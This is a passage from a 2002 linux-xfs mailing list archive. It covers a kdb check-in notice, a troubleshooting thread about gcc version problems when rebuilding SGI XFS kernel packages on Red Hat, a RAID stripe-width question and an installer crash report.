From owner-linux-xfs@oss.sgi.com Thu Oct 31 22:01:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 31 Oct 2002 22:01:55 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA161TuR023945 for ; Thu, 31 Oct 2002 22:01:51 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id WAA08449 for ; Thu, 31 Oct 2002 22:01:33 -0800 (PST) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gA160WV23738; Fri, 1 Nov 2002 17:00:32 +1100 Date: Fri, 1 Nov 2002 17:00:32 +1100 From: Keith Owens Message-Id: <200211010600.gA160WV23738@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to kdb v2.4-2.4.19-{common,i386}-2 X-archive-position: 1456 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Upgrade to kdb v2.4-2.4.19-{common,i386}-2 Date: Thu Oct 31 21:59:19 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131765a linux/kernel/softirq.c - 1.17 linux/drivers/char/serial.c - 1.57 linux/arch/i386/kernel/traps.c - 1.47 linux/arch/i386/kernel/io_apic.c - 1.35 linux/include/asm-i386/hw_irq.h - 1.21 linux/kdb/kdb_bt.c - 1.13 linux/kdb/kdb_bp.c - 1.13 linux/kdb/Makefile - 1.15 linux/include/linux/kdbprivate.h - 1.21 linux/include/linux/kdb.h - 1.25 linux/kdb/modules/Makefile - 1.15 linux/kdb/kdbsupport.c - 1.15 linux/kdb/kdbmain.c - 1.30 linux/include/asm-i386/kdb.h - 1.14 linux/kdb/kdb_io.c - 1.16 linux/Documentation/kdb/kdb.mm - 1.16 linux/arch/i386/kdb/kdbasupport.c - 1.22 linux/arch/i386/kdb/kdba_bt.c - 1.17 linux/arch/i386/kdb/kdba_bp.c - 1.15 linux/kdb/ChangeLog - 1.22 linux/arch/i386/kernel/nmi.c - 1.4 linux/arch/i386/kdb/ChangeLog - 1.11 From owner-linux-xfs@oss.sgi.com Thu Oct 31 23:37:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 31 Oct 2002 23:38:13 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA17aYuR024968 for ; Thu, 31 Oct 2002 23:37:12 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id BA294AC51; Fri, 1 Nov 2002 08:30:55 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 7501819097; Fri, 1 Nov 2002 08:30:54 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 379C530881D; Fri, 1 Nov 2002 08:36:45 +0100 (CET) Message-ID: <3DC22F0D.1F2461D4@ch.sauter-bc.com> Date: Fri, 01 Nov 2002 08:36:45 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: ksimach@ksimachine.com Cc: Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Question about kernel update References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.americas.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1457 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs "Joe St.Clair" schrieb: > > Yes, when I attempt to build from the SGI SRPM it fails due to the gcc > version. > > I have just downloaded gcc-3.1 from the RedHat site. It seems that the > only dependency problem with it is that gcc3-objc-3.1-5.i386.rpm want to > have gcc-objc >= 2.96-94 before it will install. I have 2.96-85. > So now I am downloading the gcc from RedHat 7.2, check its dependencies, > update with that and then update to 3.1. Although this could work for you, it's not the way to go. The kernel should build on whatever the 'original' RedHat kernel was built. Otherwise you may always break something. Simon > > I don't know if this will break anything but as far as I know it should > be ok. > > I won't get to check this out until tomorrow. > > Eric Sandeen wrote: > > >Joe - how does it fail? (Or is the failure the gcc version requirement > >you noted?) > > > >-Eric > > > >On Thu, 2002-10-31 at 14:17, Joe St.Clair wrote: > > > > > >>Just a bit more infomation - Not only does the build fail on my system > >>for i686 but also for i386. > >> > >>-- > >>Joseph St.Clair - KSI Machine & Engineering > >> > >> > >> > >> > >> > > -- > Joseph St.Clair - KSI Machine & Engineering From owner-linux-xfs@oss.sgi.com Thu Oct 31 23:43:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 31 Oct 2002 23:44:16 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA17gpuR025080 for ; Thu, 31 Oct 2002 23:43:07 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id B4DF4AC51; Fri, 1 Nov 2002 08:37:30 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 72F4A19097; Fri, 1 Nov 2002 08:37:29 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 7EA6730881D; Fri, 1 Nov 2002 08:43:20 +0100 (CET) Message-ID: <3DC23098.79045D5C@ch.sauter-bc.com> Date: Fri, 01 Nov 2002 08:43:20 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Eric Sandeen Cc: ksimach@ksimachine.com, linux-xfs@oss.sgi.com Subject: Re: Question about kernel update References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.america s.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030 701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> <1036103789.1657.23.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1458 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Eric Sandeen schrieb: > > Ok, I'm pretty confused by this. :) > > The only difference I see between the "stock" kernel spec files for > 17.7.x and 17.8.0 is: > > -%define release 17.7.x > +%define release 17.8.0 > > (i.e. no gcc differences) > > and the only differences between the 17.?.? Red Hat specfiles, and our > specfile, (aside from the release name) are the XFS patches. > > I see "BuildRequires: gcc >= 2.96-98" in the 17.7.x specfiles as well, > but I only see gcc-2.96-85 for RH 7.1, so I don't know how you're > supposed to rebuild it on 7.1, or why you seem to be able to. > > So I'm stumped. :) I'm just trying to rebuild the i686 kernel on RH 7.2. It is updated to the latest erata, which is gcc-2.96-108.7.2 and gcc3-3.0.4-1 I'll let you know where it dies. BTW, if someone could try the same on an up to date RedHat 7.3, it may build there although I don't believe because most packages are almost the same. Simon > > -Eric > > On Thu, 2002-10-31 at 15:48, Joe St.Clair wrote: > > Yes, when I attempt to build from the SGI SRPM it fails due to the gcc > > version. > > > > I have just downloaded gcc-3.1 from the RedHat site. It seems that the > > only dependency problem with it is that gcc3-objc-3.1-5.i386.rpm want to > > have gcc-objc >= 2.96-94 before it will install. I have 2.96-85. > > So now I am downloading the gcc from RedHat 7.2, check its dependencies, > > update with that and then update to 3.1. > > > > I don't know if this will break anything but as far as I know it should > > be ok. > > > > I won't get to check this out until tomorrow. > > > > > > Eric Sandeen wrote: > > > > >Joe - how does it fail? (Or is the failure the gcc version requirement > > >you noted?) > > > > > >-Eric > > > > > >On Thu, 2002-10-31 at 14:17, Joe St.Clair wrote: > > > > > > > > >>Just a bit more infomation - Not only does the build fail on my system > > >>for i686 but also for i386. > > >> > > >>-- > > >>Joseph St.Clair - KSI Machine & Engineering > > >> > > >> > > >> > > >> > > >> > > > > > > -- > > Joseph St.Clair - KSI Machine & Engineering > > > > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Nov 1 01:50:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 01:51:03 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA19oCuR027722 for ; Fri, 1 Nov 2002 01:50:27 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id E3354AC44; Fri, 1 Nov 2002 10:44:51 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 826D019097; Fri, 1 Nov 2002 10:44:50 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 940A930881D; Fri, 1 Nov 2002 10:50:41 +0100 (CET) Message-ID: <3DC24E71.28971B3A@ch.sauter-bc.com> Date: Fri, 01 Nov 2002 10:50:41 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Eric Sandeen , ksimach@ksimachine.com, linux-xfs@oss.sgi.com Subject: Re: Question about kernel update References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.america s.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030 701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> <1036103789.1657.23.camel@stout.americas.sgi.com> <3DC23098.79045D5C@ch.sauter-bc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1459 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Simon Matter schrieb: > > Eric Sandeen schrieb: > > > > Ok, I'm pretty confused by this. :) > > > > The only difference I see between the "stock" kernel spec files for > > 17.7.x and 17.8.0 is: > > > > -%define release 17.7.x > > +%define release 17.8.0 > > > > (i.e. no gcc differences) > > > > and the only differences between the 17.?.? Red Hat specfiles, and our > > specfile, (aside from the release name) are the XFS patches. > > > > I see "BuildRequires: gcc >= 2.96-98" in the 17.7.x specfiles as well, > > but I only see gcc-2.96-85 for RH 7.1, so I don't know how you're > > supposed to rebuild it on 7.1, or why you seem to be able to. > > > > So I'm stumped. :) > > I'm just trying to rebuild the i686 kernel on RH 7.2. It is updated to > the latest erata, which is > gcc-2.96-108.7.2 > and > gcc3-3.0.4-1 > > I'll let you know where it dies. Here we go: --------------------------------------------------------------------- Enable gcov support (CONFIG_GCOV) [N/y/?] * * Library routines * *** End of Linux kernel configuration. *** Check the top-level Makefile for additional configuration. *** Next, you must run 'make dep'. + make -s dep + make -s include/linux/version.h + echo BUILDING A KERNEL FOR uml i686... BUILDING A KERNEL FOR uml i686... + '[' uml = uml ']' + make -s ARCH=um linux sched.c: In function `sys_sched_yield': sched.c:1374: warning: unused variable `rq' kksymoops.c: In function `lookup_symbol': kksymoops.c:18: warning: unused variable `sym_end' kksymoops.c:18: warning: unused variable `sym_start' kksymoops.c:18: warning: unused variable `sec_end' kksymoops.c:18: warning: unused variable `sec_start' kksymoops.c:18: warning: unused variable `mod_end' kksymoops.c:18: warning: unused variable `mod_start' kksymoops.c:17: warning: unused variable `sym_name' kksymoops.c:17: warning: unused variable `sec_name' kksymoops.c:17: warning: unused variable `mod_name' kksymoops.c:15: warning: unused variable `bestsofar' kksymoops.c:14: warning: unused variable `this_mod' kksymoops.c: In function `print_modules': kksymoops.c:70: warning: unused variable `i' kksymoops.c:70: warning: unused variable `pos' kksymoops.c:69: warning: unused variable `this_mod' loop.c: In function `loop_change_fd': loop.c:762: warning: label `out_put_all' defined but not used xfs_mount.c: In function `xfs_initialize_perag': xfs_mount.c:332: Unrecognizable insn: (insn/i 164 594 597 (parallel[ (set (reg:SI 0 eax) (asm_operands ("") ("=a") 0[ (reg:DI 1 edx) ] [ (asm_input:DI ("A")) ] ("linux/xfs_linux.h") 255)) (set (reg:SI 1 edx) (asm_operands ("") ("=d") 1[ (reg:DI 1 edx) ] [ (asm_input:DI ("A")) ] ("linux/xfs_linux.h") 255)) (clobber (reg:QI 19 dirflag)) (clobber (reg:QI 18 fpsr)) (clobber (reg:QI 17 flags)) ] ) -1 (insn_list 163 (nil)) (nil)) xfs_mount.c:332: confused by earlier errors, bailing out make[3]: *** [xfs_mount.o] Error 1 make[2]: *** [first_rule] Error 2 make[1]: *** [_subdir_xfs] Error 2 make: *** [_dir_fs] Error 2 --------------------------------------------------------------------- Seems to be the uml kernel. Any ideas? Simon > BTW, if someone could try the same on an up to date RedHat 7.3, it may > build there although I don't believe because most packages are almost > the same. > > Simon > > > > > -Eric > > > > On Thu, 2002-10-31 at 15:48, Joe St.Clair wrote: > > > Yes, when I attempt to build from the SGI SRPM it fails due to the gcc > > > version. > > > > > > I have just downloaded gcc-3.1 from the RedHat site. It seems that the > > > only dependency problem with it is that gcc3-objc-3.1-5.i386.rpm want to > > > have gcc-objc >= 2.96-94 before it will install. I have 2.96-85. > > > So now I am downloading the gcc from RedHat 7.2, check its dependencies, > > > update with that and then update to 3.1. > > > > > > I don't know if this will break anything but as far as I know it should > > > be ok. > > > > > > I won't get to check this out until tomorrow. > > > > > > > > > Eric Sandeen wrote: > > > > > > >Joe - how does it fail? (Or is the failure the gcc version requirement > > > >you noted?) > > > > > > > >-Eric > > > > > > > >On Thu, 2002-10-31 at 14:17, Joe St.Clair wrote: > > > > > > > > > > > >>Just a bit more infomation - Not only does the build fail on my system > > > >>for i686 but also for i386. > > > >> > > > >>-- > > > >>Joseph St.Clair - KSI Machine & Engineering > > > >> > > > >> > > > >> > > > >> > > > >> > > > > > > > > > -- > > > Joseph St.Clair - KSI Machine & Engineering > > > > > > > > -- > > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > > sandeen@sgi.com SGI, Inc. 651-683-3102 -- Simon Matter Tel: +41 61 695 57 35 Fr.Sauter AG / CIT Fax: +41 61 695 53 30 Im Surinam 55 CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] From owner-linux-xfs@oss.sgi.com Fri Nov 1 04:10:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 04:10:30 -0800 (PST) Received: from ksimachine.com (IDENT:root@dsl093-008-058.det1.dsl.speakeasy.net [66.93.8.58]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1CAQuR004913 for ; Fri, 1 Nov 2002 04:10:26 -0800 Received: from ksimachine.com (sta16.local.ksimachine.com [192.168.250.16]) by ksimachine.com (8.11.6/8.11.6) with ESMTP id gA1CB9L31652; Fri, 1 Nov 2002 07:11:09 -0500 Message-ID: <3DC26F6A.6020402@ksimachine.com> Date: Fri, 01 Nov 2002 07:11:22 -0500 From: "Joe St.Clair" Reply-To: ksimach@ksimachine.com Organization: KSI Machine & Engineering User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Question about kernel update References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.america s.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030 701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> <1036103789.1657.23.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1460 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ksimach@ksimachine.com Precedence: bulk X-list: linux-xfs Eric, I have both the SGI_XFS 17.7.x kernal and the 17.7.x Kernel for RedHat 7.1. When I check for dependencies of the RedHat kernel all seem ok. When I check for dependencies on the SGI built kernel I recieve the following warnings on either the kernel and/or the command tools. --------------------------- libc.so.6(GLIBC_2.3) perl(strict) LATEXFILE /opt/cpg/bin/do-mgp --------------------------- I can get rebuild all of the SGI_XFS command tools from SRPMS and they will check ok. But when I attempt to build the kernel from SGI_XFS source I am informed I need gcc >= 2.96-98, my current version is gcc-2.96-85. I assume (quite possibly incorrectly) that if I update gcc then I should be able to continue with the build. As gcc has been updated (via RedHat up2date) at least once, I assume that it could be updated again. Am I incorrect in this? Would it be better if I was to rebuild the gcc update on my current system? Eric Sandeen wrote: >Ok, I'm pretty confused by this. :) > >The only difference I see between the "stock" kernel spec files for >17.7.x and 17.8.0 is: > >-%define release 17.7.x >+%define release 17.8.0 > >(i.e. no gcc differences) > >and the only differences between the 17.?.? Red Hat specfiles, and our >specfile, (aside from the release name) are the XFS patches. > >I see "BuildRequires: gcc >= 2.96-98" in the 17.7.x specfiles as well, >but I only see gcc-2.96-85 for RH 7.1, so I don't know how you're >supposed to rebuild it on 7.1, or why you seem to be able to. > >So I'm stumped. :) > >-Eric > > > > -- Joseph St.Clair - KSI Machine & Engineering From owner-linux-xfs@oss.sgi.com Fri Nov 1 05:32:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 05:32:52 -0800 (PST) Received: from minnie.omroep.nl (minnie.omroep.nl [145.58.30.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1DWZuR005977 for ; Fri, 1 Nov 2002 05:32:35 -0800 Received: from tron.omroep.nl (tron.omroep.nl [145.58.31.20]) by minnie.omroep.nl (Postfix MTA []() Netherlands Public Broadcasting) with ESMTP id 5EAC51CF435B; Fri, 1 Nov 2002 13:32:20 +0100 (CET) Received: by tron.omroep.nl (Postfix, from userid 1012) id 028F61004C66; Fri, 1 Nov 2002 13:29:31 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tron.omroep.nl (Postfix) with ESMTP id F0C5FC0EC36; Fri, 1 Nov 2002 13:29:31 +0100 (CET) Date: Fri, 1 Nov 2002 13:29:31 +0100 (CET) From: Matthijs van der Klip X-X-Sender: matthijs@tron.omroep.nl To: Simon Matter Cc: Eric Sandeen , , List - Linux XFS Subject: Re: Question about kernel update In-Reply-To: <3DC24E71.28971B3A@ch.sauter-bc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1461 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matthijs.van.der.klip@omroep.nl Precedence: bulk X-list: linux-xfs On Fri, 1 Nov 2002, Simon Matter wrote: > Seems to be the uml kernel. Any ideas? What about these lines in kernel-2.4.18-17SGI_XFS_1.2pre2.spec?: # fix UML build (no fsckin' clue who RH missed that.. --hch) Patch10041: linux-2.4.19-umlfix.patch Also I like to mention I have been able to build a i686 up and smp 17SGI_XFS_1.2pre2 kernel (set buildUML to 0), however it crashes during loading of the XFS bits. The XFS message is put to the console and then the kernel dies, no error or whatsoever... (only a single 'p' put to the put console right after the XFS message) Best regards, -- Matthijs van der Klip, Unix Beheerder NOS Internet beheer: beheer@omroep.nl Gateway C -- Kamer 107 -- 035 6774252 []() From owner-linux-xfs@oss.sgi.com Fri Nov 1 06:27:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 06:27:34 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1ERSuR006789 for ; Fri, 1 Nov 2002 06:27:28 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA89412; Fri, 1 Nov 2002 08:28:09 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id IAA21179; Fri, 1 Nov 2002 08:28:09 -0600 (CST) Date: Fri, 1 Nov 2002 08:22:15 -0600 (CST) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: "Joe St.Clair" cc: linux-xfs@oss.sgi.com Subject: Re: Question about kernel update In-Reply-To: <3DC26F6A.6020402@ksimachine.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1462 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hi Joe - On Fri, 1 Nov 2002, Joe St.Clair wrote: > I can get rebuild all of the SGI_XFS command tools from SRPMS and they > will check ok. But when I attempt to build the kernel from SGI_XFS > source I am informed I need gcc >= 2.96-98, my current version is > gcc-2.96-85. Yes, gcc >= 2.96-98 is explicitly listed as a requirement for building the kernel SRPM, what confuses me is that this gcc version does not seem to be available for Red Hat 7.1. > I assume (quite possibly incorrectly) that if I update gcc then I should > be able to continue with the build. > As gcc has been updated (via RedHat up2date) at least once, I assume > that it could be updated again. Am I incorrect in this? Yes, that should be right... except I'm not sure red hat -offers- gcc >= 2.96-98 for RHL 7.1. The latest gcc 2.96-x from 7.2 might work, but that may be uncharted territory. > Would it be better if I was to rebuild the gcc update on my current system? No, that should not make a difference. -Eric From owner-linux-xfs@oss.sgi.com Fri Nov 1 07:41:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 07:41:27 -0800 (PST) Received: from localhost.localdomain (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1FfNuR020269 for ; Fri, 1 Nov 2002 07:41:23 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id gA1FfkGe001154; Fri, 1 Nov 2002 09:42:01 -0600 Received: (from ctooley@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) id gA1Ff5KV001151; Fri, 1 Nov 2002 09:41:05 -0600 X-Authentication-Warning: localhost.localdomain: ctooley set sender to ctooley@amoa.org using -f Subject: re: performance over multiple disks From: Chris Tooley To: Greg Freemyer Cc: James Rich , XFS mailing list In-Reply-To: <20021031223250.DRDX3370.imf23bis.bellsouth.net@TAZ2> References: <20021031223250.DRDX3370.imf23bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 01 Nov 2002 09:41:05 -0600 Message-Id: <1036165265.960.1.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 1463 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs Chalk it up to stupidity or just wanting to learn, but I don't understand the prime number rationale. I'm sure there is a perfectly legitimate reason, but I certainly don't know what it is. Could someone enlighten those of us that are not stripe knowledgeable. Chris Tooley On Thu, 2002-10-31 at 16:30, Greg Freemyer wrote: > >> On another mailing list a debate arose about performance over a single > >> disk vs. multiple disks. It goes something like this: > > >> Suppose you have a 6 megabyte file stored on disk. Would it be read > >> faster if it were stored contiguously on a single disk or spread over > >> multiple (say 4) disks? > > >> It seems to me that as you get smaller it is faster for the single disk > >> case (remember that we are assuming the file is stored contiguously - not > >> spread all over the disk). At some size it seems natural that it would be > >> faster if the file were spread over multiple disks. Can anyone comment on > >> how XFS would perform? I don't have the equipment available to test this, > >> but I'm not too concerned with actual benchmark numbers. Mostly I'm just > >> wondering if I understand the filesystem correctly. > > >> James Rich > > James, > > I don't fully understand the logic, but I have a Compaq Storage Performance guide in front of me. > > For high data rate applications such as yours it recommends a stripe width (SW) of 17 sectors. It says that you want this small to get the spindles working in parallel, but if you go below 17, you start getting excessive overhead. > > i.e. 17 sectors of contiguous data per drive. > > For high request rate, it recommends the below stripe widths (SW): > > highly localized requests: SW = 10x avg. transfer size > > highly non-localized requests: SW = 20x avg. transfer size > > unknown localization: SW = 15x avg. transfer size. > > For all cases, they recommend your SW be a prime number. So the above just get you in the neighborhood and you select the closest prime number. > > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com > > From owner-linux-xfs@oss.sgi.com Fri Nov 1 10:26:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 10:26:58 -0800 (PST) Received: from ente.berdmann.de (frnk-d514e11f.dsl.mediaWays.net [213.20.225.31]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1IQruR031575 for ; Fri, 1 Nov 2002 10:26:54 -0800 Received: from indigo-3.berdmann.de ([192.168.5.2] helo=berdmann.de) by ente.berdmann.de with esmtp (Exim 3.35 #1) id 187gW7-0002vo-00 for linux-xfs@oss.sgi.com; Fri, 01 Nov 2002 19:27:35 +0100 Message-ID: <3DC2C797.2070501@berdmann.de> Date: Fri, 01 Nov 2002 19:27:35 +0100 From: Bernhard Erdmann User-Agent: Mozilla/5.0 (X11; U; IRIX64 IP28; en-US; rv:1.1b) Gecko/20020723 X-Accept-Language: de, en, fr MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: RH 8.0 installer (1.2pre1) crashes on Dell Latitude C610 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1464 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: be@berdmann.de Precedence: bulk X-list: linux-xfs Hi, stock RH 8.0 installs with no problems on a Dell Latitude C610 (laptop). SGI XFS 1.2a installer for RH 8.0 via bootnet.img on a floppy crashes right after having selected language (english) and keyboard (german). The anaconda dump was saved to a floppy and is available here: http://berdmann.dyndns.org/debug/SGI-XFS-1.2a/Dell-Latitude-C610/anacdump.txt The SGI installer booted off a CD crashes, too. From owner-linux-xfs@oss.sgi.com Fri Nov 1 11:15:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 11:15:51 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA1JFhuR001155 for ; Fri, 1 Nov 2002 11:15:44 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA72385; Fri, 1 Nov 2002 13:16:25 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id NAA87501; Fri, 1 Nov 2002 13:16:25 -0600 (CST) Subject: Re: RH 8.0 installer (1.2pre1) crashes on Dell Latitude C610 From: Eric Sandeen To: Bernhard Erdmann Cc: linux-xfs@oss.sgi.com In-Reply-To: <3DC2C797.2070501@berdmann.de> References: <3DC2C797.2070501@berdmann.de> Content-Type: multipart/mixed; boundary="=-dqcSpNjeIXZzWZWXkc6U" X-Mailer: Ximian Evolution 1.0.3 